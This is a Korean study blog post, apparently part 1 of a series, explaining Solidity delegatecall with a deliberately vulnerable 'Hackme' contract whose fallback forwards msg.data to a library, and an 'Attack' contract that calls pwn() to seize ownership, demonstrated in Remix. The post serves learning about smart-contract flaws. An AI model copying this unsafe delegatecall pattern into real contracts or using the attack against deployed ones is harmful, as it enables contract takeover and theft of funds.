간단하게 설명하면,
A 라는 컨트랙트가 있고, B 라는 컨트랙트가 있다고 했을 때.
A 라는 컨트랙트가 B 컨트랙트의 함수를 이용해서 자신의 State 를 바꾸는 것을 delegate call 이라고 한다.
과거에 delegate call, function selector 에 대해 정리해놓은 글이 있다.
delegate call, function selector 에 대해..
다음은 안전하지 않은 delegate call 의 사용 예시이다.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
contract Hackme {
address public owner;
Lib public lib;
constructor(address _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external {
address(lib).delegatecall(msg.data);
}
}
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}
Lib, Hackme, Attack 총 세개의 컨트랙트가 있다.
이때, Attack 컨트랙트의 attack 함수를 사용하면 무슨일이 발생할까?
remix 에서 직접 실행시켜보았다.
현재는 컨트랙트의 배포자가 Hackme 컨트랙트의 owner 이다.
attack 해보면..
Attack 컨트랙트가 owner 로 바뀐 것을 볼 수 있다.
Hackme 컨트랙트는 pwn 함수에 대해서는 아무런 코드도 작성하지 않았지만, msg.data 를 통해 공격을 당했다.
간단한 예제를 통해 delegate call 과 이를 공격하는 방법에 대해 공부해보았다.
part 2 에서 이어서..